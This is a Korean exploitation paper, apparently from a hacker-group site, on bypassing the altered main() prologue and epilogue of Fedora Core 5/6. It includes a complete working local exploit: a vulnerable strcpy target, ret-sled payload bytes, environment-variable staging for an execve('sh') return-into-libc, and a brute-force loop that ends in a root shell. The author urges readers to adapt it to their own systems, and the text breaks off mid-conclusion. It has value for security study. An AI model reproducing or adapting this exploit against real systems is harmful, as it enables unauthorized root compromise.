* 제 목: Fedora Core 5,6 시스템 기반 main() 함수 내의 달라진 stack overflow 공격 기법. (Fedora Core 5,6 based main() function stack overflow exploit method) * 테스트 환경: Fedora Core release 5 (Bordeaux) Linux 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 Fedora Core release 6 (Zod) Linux 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 * 작성자: 유동훈 - Xpl017Elz http://x82.inetcop.org 0x0) 잡담 이번에 소개하는 공격 기법은 실제 application에서 발생할 확률이 극히 드문 exploit case 이다. 이렇게 Fedora core 5 이상 버전의 시스템부터 변경된 main() 함수 공격 기법에 대해 다루려는 이유는(?) 단지 재미를 위해서이다. :-} 물론, 재미로는 다룰 수 없는 중요한 내용이 될 수도 있다. 현재 달라진 main() 함수 프롤로그, 에필로그 과정이 모든 함수에 적용된다면, 이야기는 달라질 것이다. 아마도 현재보다는 공격하기 까다로운 환경이 될 것이다. 나는 아직 main() 함수 프롤로그, 에필로그의 변경 이유를 명확하게 파악하지 못했다. 단지 보안성 강화라는 이유만으로 수정된 것이라면 이것 저것 시험해보는 단계가 아닐까 판단된다. 변경된 함수의 시작과 끝 부분은 마치 오래 전 StackGuard와 StackShield 솔루션을 적당히 베껴 섞어놓은 듯한(?) 기분 마져 들게한다. 그럼, 변경된 main() 함수를 분석하기 전에 StackGuard와 StackShield 솔루션에 대해 간단히 짚어보고 넘어가도록 하자. 0x1) StackGuard, StackShield 솔루션 단지 stack 기반 overflow 취약점을 차단하기 위한 솔루션은 이런 것이 있다~ 정도로 준비해보았다. 보다 자세한 내용을 공부하려면, Bulba and Kil3r가 작성한 Phrack 56-05호 "BYPASSING STACKGUARD AND STACKSHIELD" 문서를 참고하길 바란다. 그럼, StackGuard와 StackShield의 구조에 대해 살펴보도록 하자. 0x1-1) StackGuard의 구조 이 솔루션은 일반적인 stack 기반 overflow 기법이 지역 변수 근처의 return address를 변조한다라는 것을 알고 return address 근처에 canary라 불리우는 4byte 변수를 넣는 것이다. 함수의 역할이 끝난 후, 이전 함수로 다시 돌아갈 때 canary 변수의 변경 여부를 검사하여 공격이 발생하였는지 판단하는 원리를 갖고 있다. ------------------------------------------------------------------------------------------------------------- ^ | 주소가 커지는 방향 ... +---------------------+ | 함수 Return address | +---------------------+ | canary | +---------------------+ | frame pointer(%ebp) | +---------------------+ | 지역 변수 | +---------------------+ ... | 스택이 커지는 방향 V ------------------------------------------------------------------------------------------------------------- 0x1-2) StackShield의 구조 이 솔루션은 retrun address를 stack이 아닌 heap .data 영역 테이블에 복사해두었다가 함수 역할이 끝난 뒤, 이전 함수로 다시 돌아갈 때 복사해두었던 원래의 return address를 복구하는 원리를 갖고 있다. 다음 설명하는 코드는 StackShield 0.3 초기 버전에서 조건문을 제외한 핵심 알고리즘 부분만 간추린 것이다. ------------------------------------------------------------------------------------------------------------- (gdb) x 0x08049580 ; heap .data 영역에 있는 retarray 포인터 0x8049580 : 0x00000000 ; 총 1024byte로 이루어진 retarray 배열 (gdb) 프롤로그: mov 0x804948c,%eax ; retarray 포인터 주소를 %eax 레지스터로 복사. mov 0x4(%ebp),%edx ; return address(%ebp + 4) 주소를 %edx 레지스터로 복사. mov %edx,(%eax) ; %edx 레지스터를 retarray 배열에 복사 add $0x4,0x804948c ; retarray 포인터 주소 4byte 증가 ... 에필로그: add $-0x4,0x804948c ; retarray 포인터 주소 4byte 감소 mov 0x804948c,%ebx ; retarray 포인터 주소를 %ebx 레지스터로 복사 mov (%ebx),%edx ; retarray 배열 내의 return address 주소를 %edx 레지스터로 복사 mov %edx,0x4(%ebp) ; %edx 레지스터를 stack의 return address 위치로 복구 ------------------------------------------------------------------------------------------------------------- 결과적으로 stack이 아닌 heap에 위치한 return address 원본은 수정할 수 없으므로, 공격에 실패하게 된다. 그럼, 이제 Fedora core 5 이상 시스템에서 변경된 main() 함수 부분을 살펴보도록 하자. 0x2) Fedora core 5 시스템부터 변경된 main() 함수 이번 Fedora core 5 시스템에서 변경된 부분은 main() 함수 프롤로그, 에필로그 과정이며 기본적인 알고리즘은 Stackshield와 흡사하다. 하지만 return address 원본을 heap이 아닌 stack에 두며, 이 주소를 변조하지 못하도록 StackGuard의 canary와 유사한 역할의 %ecx 레지스터를 frame pointer 근처에 둔다는 점이 다르다고 할 수 있다. 그럼, 실제 시스템 분석을 통해 자세히 알아보도록 하겠다. 이전 Fedora core 4 시스템의 main() 함수 프롤로그 과정은 다음과 같다. ------------------------------------------------------------------------------------------------------------- Fedora core 5 이전의 main() 함수 프롤로그: push %ebp mov %esp,%ebp ------------------------------------------------------------------------------------------------------------- %ebp 레지스터에 넣어질 %esp 레지스터 위치에는 이미 __libc_start_main() 함수의 return address가 들어있다. ------------------------------------------------------------------------------------------------------------- (gdb) br *main+0 Breakpoint 1 at 0x80483b0 (gdb) r ... Breakpoint 1, 0x080483b0 in main () (gdb) x/x $esp 0xbfc7017c: 0x00729de6 (gdb) x 0x00729de6 0x729de6 <__libc_start_main+198>: 0xe8240489 (gdb) disass __libc_start_main ... 0x00729de3 <__libc_start_main+195>: call *0x8(%ebp) 0x00729de6 <__libc_start_main+198>: mov %eax,(%esp) <=== 바로 이 부분. ... (gdb) ------------------------------------------------------------------------------------------------------------- __libc_start_main+195에서 main() 함수를 call 하면, stack에 return address를 넣고 프롤로그로 넘어오게 된다. 그런데 Fedora core 5에서는 main() 함수의 프롤로그에서 추가로 하는 일이 있다. ------------------------------------------------------------------------------------------------------------- Fedora core 5 이상의 시스템부터 변경된 main() 함수 프롤로그: 1 lea 0x4(%esp),%ecx 2 and $0xfffffff0,%esp 3 pushl 0xfffffffc(%ecx) 4 push %ebp 5 mov %esp,%ebp 6 push %ecx ------------------------------------------------------------------------------------------------------------- 1. %esp + 4의 위치 주소를 %ecx 레지스터에 넣는다. (현재 %esp 레지스터에는 __libc_start_main() 함수의 return address가 들어있음) 2. %esp 레지스터의 위치를 and 연산을 통해 변경한다. (%esp & -16) 3. %ecx - 4 위치는 __libc_start_main() 함수의 return address 값이 들어있다. 현재 stack에 저장한다. (원본 return address를 저장하는 부분) 4. 현재 stack에 이전 함수의 %ebp 레지스터 저장. (일반 main() 함수 프롤로그 과정) 5. %esp를 %ebp에 복사하여 main() 함수 frame pointer 설정. (일반 main() 함수 프롤로그 과정) 6. %ecx 레지스터를 현재 stack에 저장하여 canary 역할을 하도록 만듬. 이 과정을 거치면 stack의 모양은 다음과 같이 된다. ------------------------------------------------------------------------------------------------------------- ^ | 주소가 커지는 방향 ... +------------------------------------+ <- 원래 %esp 레지스터 주소 (1)번 과정 | | __libc_start_main() return address | | 스 +------------------------------------+ | | ... | | 택 +------------------------------------+ <- (2)번 과정에 의해 옮겨진 %esp 레지스터 | | __libc_start_main() return address | <- (3)번 과정에 의해 저장된 %ecx - 4 | 진 +------------------------------------+ | | 이전 base frame pointer | <- (4)번 과정에 의해 저장된 이전 함수 %ebp 레지스터 | 행 +------------------------------------+ <- (5)번 과정에 의해 옮겨진 %ebp 레지스터 | | %ecx 레지스터 | <- (6)번 과정에 의해 저장된 %ecx 레지스터 | 방 +------------------------------------+ <- (6)번 과정까지 끝난 후 %esp 레지스터 | ... V 향 V | 스택이 커지는 방향 V ------------------------------------------------------------------------------------------------------------- 이후에 호출되는 함수의 프롤로그는 Fedora core 4 시스템 구조와 동일하다. 그리고, main 함수의 에필로그 과정은 다음과 같다. ------------------------------------------------------------------------------------------------------------- Fedora core 5 이상의 시스템부터 변경된 main() 함수 에필로그: 1 pop %ecx 2 pop %ebp 3 lea 0xfffffffc(%ecx),%esp 4 ret ------------------------------------------------------------------------------------------------------------- 1. stack에서 %ecx 레지스터를 꺼낸다. (%esp 4byte 증가) 이렇게 꺼낸 %ecx는 지역 변수 바로 옆에 자리잡고 있다. 2. stack에서 %ebp(이전 base frame pointer) 레지스터를 꺼낸다. (%esp 4byte 증가) 3. %ecx - 4 위치 주소를 %esp에 넣는다. 결국, __libc_start_main() 함수의 원본 return address 위치로 %esp 레지스터를 이동시킨다. 4. ret 명령을 통해 pop %eip 되면, 현재 %esp에 있는 __libc_start_main() 함수로 돌아간다. (%esp 4byte 증가) 앞서 설명한 바와 같이 canary 역할을 하는 %ecx 레지스터는 random stack 환경이므로, 추측이 쉽지 않다. (물론, 불가능한 것은 아니지만) 또한, %ecx 레지스터를 참조하여 stack 상의 return address를 얻어오기 때문에 일반적인 stack overflow를 시도하여 공격을 성공시키는 일은 어렵다고 볼 수 있다. 이렇게 변경된 사항이 프로그램 성능 상의 재설계인지, 보안상 문제점을 해결하기 위한 번경인지는 정확히 알 수 없다. 지금까지의 상황을 다시 한번 정리해보도록 하겠다. 예전 시스템에서 공격을 시도해보면, 지역 변수 후, 저장된 frame pointer와 return address를 직접적으로 덮어 씌우는 것이 가능했다. 그러나, 변경된 시스템에서 stack overflow 공격을 시도할 경우, return address를 덮어씌우는 것은 불가능하다. 그 이유는 지역 변수를 덮어씌울 경우 그 옆에 자리 잡고 있는 %ecx 레지스터 내용도 함께 변경되는데 이 레지스터에 의해 return address가 구성되기 때문이다. 게다가 canary로 쓰이는 %ecx 레지스터는 random stack 환경이므로 정적이지 않다. 이 때문에 공격자가 %ecx 레지스터의 주소 값을 추측하여 return address 값을 변경하는 것 또한 힘들다고 볼 수 있다. 0x3) 문제점 해결을 위한 exploit 그럼, 이제 이러한 환경에서 어떤 exploit method를 적용시킬 수 있는지 생각해보도록 하자. 여러가지 공격 방법이 있을 수 있다. %ecx 레지스터의 주소 값을 추측하는 것이 가장 좋은 방법이겠고, 이것이 불가능하다면, %ecx 레지스터의 1byte만 NULL로 변경하는 off-by-one 기법을 시도해볼 수도 있다. 먼저, 전자의 경우와 같이 %ecx 레지스터를 추측하는 방법이 있다. 예전 문서 중, "Fedora Core3 시스템 local 기반 랜덤 스택 무력화(?) 기법"이란 문서를 보면, 부모 프로세스와 자식 프로세스의 stack이 동일하게 맵핑되는 경우가 발생할 때 시도할 수 있는 공격 기법을 소개하고 있다. 이 방법을 이용하면 %ecx 레지스터 주소 값과 return address의 위치를 파악할 수 있으므로, stack 기반의 overflow exploit이 가능하다. 하지만, 이 방법은 사용하기 *매우* 까다롭다. 매번 공격 대상 프로그램의 스택 환경과 거의 동일하게 구성해주어야 하는 번거로움이 있기 때문에 가능하면 추천하지 않는 공격 기법이다. 또 다른 방법으로 %ecx 레지스터 off-by-one 공격 기법이 있다. %ecx 레지스터를 추측할 필요없이 마지막 1byte를 null로 덮어씌우는 것이다. 결국, 1byte만 null로 변경된 %ecx 레지스터의 - 4 위치에 return address가 될 주소 값을 넣어주면 된다. 시도해본 결과, return address를 변경하는데 성공하였으며, 간접적으로 return address를 변경하는 frame pointer overwrite 공격 기법과 매우 유사한 공격 구조를 만들 수 있게 되었다. ------------------------------------------------------------------------------------------------------------- [XXXXXXXXXXXXX...RRRR...XXXX][0x00,ecx] ^ | | | +--------------+ ------------------------------------------------------------------------------------------------------------- 하지만, 현재 당면해있는 가장 큰 문제점은 return address 변경이 아니라, shell을 실행시킬 수 있는 exploit을 작성하는 것이다. 즉, return address를 변경한다고 해도 시스템 명령은 실행할 수는 없는 상태이다. (단, 공격자에게 null 입력을 허용하는 환경에서는 exploit이 쉽게 가능함) 이 상태에서 exploit을 성공시키기 위해 여러가지 시도를 해본 결과, 재미있는 method 하나를 발견할 수 있었다. 먼저, 마지막 1byte를 null로 덮어씌우고, %ecx - 4 위치에 ret code를 반복 삽입하면 어떻게 될까? 반복 삽입한 만큼 %esp 레지스터는 4byte씩 이동할 것이다. 여기까지는 이전의 ret(pop %eip) 공격과 동일하다. 그런데 이 때, 입력되는 마지막 4byte를 수정하여 main() 함수 에필로그를 두 번 실행하게 만든다면?? 먼저, 공격 대상 코드와 그 프로그램의 main() 함수의 에필로그는 다음과 같다. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# cat strcpy.c int main(int argc,char *argv[]){ char buf[256]; strcpy(buf,argv[1]); } [root@localhost main_based]# gdb -q strcpy (gdb) disass main ... 0x08048382 : add $0x114,%esp ; %esp 레지스터에 지역 변수 크기만큼을 증가 0x08048388 : pop %ecx ; %ecx 레지스터 복구 0x08048389 : pop %ebp ; %ebp 레지스터 복구 0x0804838a : lea 0xfffffffc(%ecx),%esp ; %esp 레지스터를 %ecx - 4 위치로 복구 0x0804838d : ret ; %eip 레지스터 복구 0x0804838e : nop 0x0804838f : nop ... (gdb) ------------------------------------------------------------------------------------------------------------- 프로그램 main() 함수의 정상적인 에필로그는 우리가 의도한대로, 0x??????fc 주소(%ecx 레지스터 - 4)를 갖게 될 것이며, 지역 변수 전체를 ret code로 채웠으므로, ret 명령 실행에 의해 %esp 레지스터는 4byte씩 이동하여 위의 %ecx 레지스터가 복구된 지점 근처까지 오게 된다. 여기서 main() 함수 에필로그인 main+46 부분을 다시 호출하면, %esp 레지스터는 0x114(276) 크기 만큼 증가하여 argument 포인터, 환경 변수 포인터 근처까지 도달할 수 있게 된다. 이미 "Fedora Core 4,5,6 내에서 local 스택 기반 overflow exploit 방법 #2" 문서를 접해본 사람이라면, 이 부분에서 exploit을 성공할 수 있는 조건이 갖춰졌다는 것을 한 눈에 알 수 있을 것이다. 환경 변수 포인터를 이용하여 exploit을 작성하는 방법에 대해 학습하지 않았다면, 먼저 문서 내용을 공부하기 바란다. 이제 우리는 exploit을 성공시킬 수 있다. :-} 다음 main+52 부분에서 %ecx 레지스터를 복구할 때, 우리가 설정한 환경 변수 포인터를 가져가기 때문에, %esp 레지스터 위치가 되는 %ecx - 4 지점은 선언 가능한 환경 변수 코드가 오게 된다. 지역 변수의 크기가 크더라도 걱정할 필요는 없다. 환경 변수 여러 개를 적당히 선언하여 stack을 빠져나가 복구되는 %ecx 레지스터 위치에 맞춰주기만 하면 별 문제없이 exploit을 성공할 수 있다. 공격의 전반적인 구성은 다음과 같다. ------------------------------------------------------------------------------------------------------------- payload 구성: 지역 변수 내에서 마지막 4byte를 제외한 모든 공간을 ret code 주소로 채워넣는다. 이렇게 채워넣을 경우, %ecx 레지스터 off-by-one에 의해 return address를 ret code 주소로 변경시킬 수 있게 된다. 다음과 같이 구성해주면, main() 함수 에필로그를 두 번 수행할 수 있으며, 아래 구성한 환경 변수 내용을 그대로 참고하여 execve() 함수를 호출하게 된다. ^ | 스택이 커지는 방향 ... +-------------------+ | ret(pop %eip) |: overflow 되는 지역 변수를 모두 ret code로 채움. +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) |: ② 변조된 %ecx - 4 위치에서 %eip를 pop 한다. +-------------------+ <<-----------------------------------------------------------------+ | ret(pop %eip) |: ③ 4byte씩 %esp 이동 | +-------------------+ | | ret(pop %eip) |: ③ 4byte씩 %esp 이동 | +-------------------+ | | ret(pop %eip) |: ③ 4byte씩 %esp 이동 | +-------------------+ | | ... |: ③ 4byte씩 %esp 이동 | +-------------------+ | | main() epilog |: ④ main() 함수의 에필로그를 다시 호출. -----------------------+ | +-------------------+ | | | 0x??????00 |: ① 복구되는 %ecx 레지스터의 마지막 byte가 null로 바뀌면서, ---+---+ +-------------------+ | | ... | | +-------------------+ | | argument0 pointer |: argument pointer 시작 부분. | +-------------------+ | | argument1 pointer | | +-------------------+ | | null(0x00000000) |: argument pointer 끝 부분. | +-------------------+ | | environ0 pointer |: 환경 변수 pointer 시작 부분. | +-------------------+ | | environ1 pointer | | +-------------------+ | | environ2 pointer | | +-------------------+ | | environ3 pointer | | +-------------------+ | | ... | | +-------------------+ | | environ25 pointer | | +-------------------+: 27 번째 환경 변수 pointer | | environ26 pointer | <<-------------------------------------------------------------+ +-------------------+: ⑤ 변조된 %esp 레지스터 위치에서 %ecx를 pop 한다. -----------------------------+ | environ27 pointer | | +-------------------+ | | ... | | +-------------------+ | ... | | 주소가 커지는 방향 | V | | 환경 변수 구성: | | 위의 배열 256개의 프로그램에서 발생한 stack overflow의 경우, main() 함수 에필로그를 반복 수행해주면, | %ecx 레지스터는 27 번째로 설정된 환경 변수 위치를 가리키게 된다. %ecx - 4 위치를 return address로 | 인식하므로, 27 번째 환경 변수 - 4 위치에 있는 26 번째 환경 변수에 들어가는 내용이 return address가 | 된다. 아래 구성된 코드를 살펴보면, 26 번째 환경 변수에 execve() 함수 주소가 들어가는 것을 볼 수 있다. | | ... | +------------------+ | | execve() 주소 |: execve() 함수 주소 (%ecx - 4 위치가 될 26 번째 환경 변수) | +------------------+ | | "XXXX" |: 4byte dummy (27 번째 환경 변수: environ26) <<-----------------------------------+ +------------------+ | "/bin/sh" 주소 |: execve() 함수의 첫 번째 인자가 됨 (라이브러리 내의 "sh" 주소를 찾아 넣음) +------------------+ | '\0' |: execve() 함수의 두 번째 인자가 됨 (0x00000000) +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' |: execve() 함수의 세 번째 인자가 됨 (0x00000000) +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ ... ------------------------------------------------------------------------------------------------------------- 아직까지 설명한 내용을 이해하지 못했다면, 도식화된 그림의 번호 순서와 화살표 방향대로 따라가며 분석한 후, 머리 속으로 다시 그려보길 바란다. 그래도 이해가 안가는 분들은, 계속해서 아래 exploit 내용들을 분석해보면서 원하는 답을 얻길 바란다. 0x4) exploit 코드 작성하기 간단한 분석 과정을 거친 후, exploit을 작성해보도록 하겠다. 참고로 모든 내용은 Fedora core 6 시스템에서 검증된 것이다. 먼저 취약점이 있는 공격 대상 코드는 다음과 같다. ------------------------------------------------------------------------------------------------------------- 공격 대상 코드: int main(int argc,char *argv[]){ char buf[256]; strcpy(buf,argv[1]); } ------------------------------------------------------------------------------------------------------------- 매우 일반적인 main() frame 범위 stack 기반 overflow 취약점이 발생하는 소스 코드이다. 해당 코드를 공격하기 위한 test exploit은 다음과 같다. ------------------------------------------------------------------------------------------------------------- 시험을 위한 test exploit: /* test exploit */ int main() { char *environs[]={ "A01", /* 1 */ "A02", /* 2 */ "A03", /* 3 */ "A04", /* 4 */ "A05", /* 5 */ "A06", /* 6 */ "A07", /* 7 */ "A08", /* 8 */ "A09", /* 9 */ "A10", /* 10 */ "A11", /* 11 */ "A12", /* 12 */ "A13", /* 13 */ "A14", /* 14 */ "A15", /* 15 */ "A16", /* 16 */ "A17", /* 17 */ "A18", /* 18 */ "A19", /* 19 */ "A20", /* 20 */ "A21", /* 21 */ "A22", /* 22 */ "A23", /* 23 */ "A24", /* 24 */ "A25", /* 25 */ "A26", /* 26 */ "A27", /* 27 */ "A28", /* 28 */ "A29", /* 29 */ "A30", /* 30 */ 0}; char *arguments[]={ "./strcpy", "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x82\x83\x04\x08", /* 0x08048382 : main() epilog */ 0}; execve("./strcpy",arguments,environs); } ------------------------------------------------------------------------------------------------------------- 잘 살펴 보면, 시험을 위해 30개의 환경 변수를 할당해둔 것을 볼 수 있다. 그리고, 지역 변수 252개를 전부 ret code로 채웠다. 총 63번 ret code를 호출하여 %esp 레지스터를 4byte씩 이동시킨다. 그리고, 마지막으로 main() 함수의 에필로그 주소를 넣어 임의적으로 에필로그가 또 발생하도록 만들었다. 자, 그럼 시험을 통해 exploit을 완성해보도록 하겠다. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# gcc -o strcpy strcpy.c strcpy.c: In function ?ain? strcpy.c:3: warning: incompatible implicit declaration of built-in function ?trcpy? [root@localhost main_based]# gdb strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x08048354 : lea 0x4(%esp),%ecx 0x08048358 : and $0xfffffff0,%esp 0x0804835b : pushl 0xfffffffc(%ecx) 0x0804835e : push %ebp 0x0804835f : mov %esp,%ebp 0x08048361 : push %ecx 0x08048362 : sub $0x114,%esp 0x08048368 : mov 0x4(%ecx),%eax 0x0804836b : add $0x4,%eax 0x0804836e : mov (%eax),%eax 0x08048370 : mov %eax,0x4(%esp) 0x08048374 : lea 0xfffffefc(%ebp),%eax 0x0804837a : mov %eax,(%esp) 0x0804837d : call 0x8048298 0x08048382 : add $0x114,%esp <<--- main() 함수 에필로그 시작 부분 0x08048388 : pop %ecx 0x08048389 : pop %ebp 0x0804838a : lea 0xfffffffc(%ecx),%esp 0x0804838d : ret 0x0804838e : nop 0x0804838f : nop End of assembler dump. (gdb) q [root@localhost main_based]# gcc -o test test.c <<--- test exploit 시험 [root@localhost main_based]# gdb test -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /tmp/main_based/test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x00363241 in ?? () from /lib/libc.so.6 <<--- A26을 return address로 수행했음. (gdb) x $esp 0xbff9afe3: 0x00373241 (gdb) x/s $esp 0xbff9afe3: "A27" (gdb) x/s $ecx 0xbff9afe3: "A27" (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost main_based]# ------------------------------------------------------------------------------------------------------------- 위 결과를 보면, %ecx 레지스터는 27 번째 환경 변수 포인터가 pop 된 것을 알 수 있다. %esp 레지스터는 %ecx - 4 위치이므로, 26 번째 환경 변수 위치가 된다. 이 상태에서 pop %eip가 수행되면, return address는 0x00363241 즉, "A26"이 된다. 이제 분석된 내용을 토대로 다음과 같이 exploit을 작성한다. ------------------------------------------------------------------------------------------------------------- 실제 공격 exploit: /* 0x82-x_strcpy.c */ int main() { // main() epilog: 0x08048382 // main() ret: 0x0804838d char *environs[]={ "A01", /* 1 */ "A02", /* 2 */ "A03", /* 3 */ "A04", /* 4 */ "A05", /* 5 */ "A06", /* 6 */ "A07", /* 7 */ "A08", /* 8 */ "A09", /* 9 */ "A10", /* 10 */ "A11", /* 11 */ "A12", /* 12 */ "A13", /* 13 */ "A14", /* 14 */ "A15", /* 15 */ "A16", /* 16 */ "A17", /* 17 */ "A18", /* 18 */ "A19", /* 19 */ "A20", /* 20 */ "A21", /* 21 */ "A22", /* 22 */ "A23", /* 23 */ "A24", /* 24 */ "A25", /* 25 */ "\xff\xdb\x19\x00", /* 26 */ // A26: 0x19dda0 execve(); "A27", /* 27 */ "\xa2\xf2\x22\x00", /* 28 */ // A28: 0x22f2a2 "\x00", /* 29 */ // A29: 0x00000000 "\x00", /* 30 */ "\x00", /* 31 */ "\x00", /* 32 */ "\x00", /* 33 */ // A33: 0x00000000 "\x00", /* 34 */ "\x00", /* 35 */ "\x00", /* 36 */ 0}; char *arguments[]={ "./strcpy", "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08" "\x82\x83\x04\x08", /* main() epilog */ 0}; execve("./strcpy",arguments,environs); } ------------------------------------------------------------------------------------------------------------- 26 번째 환경 변수 값이 return address가 되었으므로, 이 환경 변수 값에 execve() 함수 주소를 넣었다. 27 번째 환경 변수는 %ecx 레지스터 위치가 되며, 다음 28 번째 환경 변수부터 execve() 함수의 인자가 된다. 28 번째 환경 변수는 execve() 함수의 첫 번째 인자로써, 라이브러리 메모리 내에 상주하는 "sh" 문자열의 주소를 넣어주었다. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# gdb strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) br *main Breakpoint 1 at 0x8048354 (gdb) r test Starting program: /tmp/main_based/strcpy test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048354 in main () (gdb) x execve 0x19dc00 : 0x8908ec83 (gdb) x 0x22f2a2 0x22f2a2 <_nl_default_dirname+90>: 0x65006873 (gdb) x/s 0x22f2a2 0x22f2a2 <_nl_default_dirname+90>: "sh" <<--- execve() 함수가 0x19dc00일 때, "sh" 문자열의 위치 (gdb) q The program is running. Exit anyway? (y or n) y [root@localhost main_based]# ------------------------------------------------------------------------------------------------------------- 29 번째 변수부터, 30, 31, 32 번째 변수까지 null 값 4byte가 execve() 함수의 두 번째 인자로 들어간다. 환경 변수에 이어지는 4byte null 값을 한번에 선언할 수 없으므로, 각 1byte씩 총 4번을 나누어 선언해준 것이다. execve() 함수의 세 번째 인자로 들어가는 null 값 4byte도 마찬가지로, 33 번째 변수부터 36 번째 변수까지 4번에 나누어 null 값을 선언해주었다. exploit을 디버깅 해보면, 다음과 같이 execve() 인자가 들어가는 것을 볼 수 있다. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# gdb 0x82-x_strcpy -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r ... (execve() 함수가 호출될 때까지 여러번 반복 실행) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/main_based/0x82-x_strcpy (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x00373241 in ?? () (gdb) x $esp 0xbfb96fe7: 0x0022f2a2 <<--- execve() 함수의 첫 번째 인자 (gdb) 0xbfb96feb: 0x00000000 <<--- execve() 함수의 두 번째 인자 (gdb) 0xbfb96fef: 0x00000000 <<--- execve() 함수의 세 번째 인자 (gdb) execve() 함수가 호출된 구조: execve(0x0022f2a2,0x00000000,0x00000000); ------------------------------------------------------------------------------------------------------------- execve() 함수의 첫 번째 인자에는 문자열 "sh"가 들어갔고, 두 번째, 세 번째 인자는 우리의 예측대로 null 값이 들어간 것을 볼 수 있다. 이제 마지막으로 "sh" 프로그램을 작성한 후, 공격해보도록 하겠다. ------------------------------------------------------------------------------------------------------------- [root@localhost main_based]# cat > sh.c int main() { execl("/bin/sh","sh",0); } [root@localhost main_based]# gcc -o sh sh.c sh.c: In function ?ain? sh.c:3: warning: incompatible implicit declaration of built-in function ?xecl? [root@localhost main_based]# gcc -o 0x82-x_strcpy 0x82-x_strcpy.c [root@localhost main_based]# while [ 1 ] ; do ./0x82-x_strcpy ; done Segmentation fault Segmentation fault Segmentation fault Segmentation fault sh-3.1# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) sh-3.1# ------------------------------------------------------------------------------------------------------------- 깨끗하게 shell이 실행되는 것을 볼 수 있다. 지금까지 설명한 분석 방법을 통해 여러분들의 시스템 환경에 맞는 코드를 작성하여 공격해보길 바란다. 0x5) 결론 지금까지 Fedora core 5 시스템 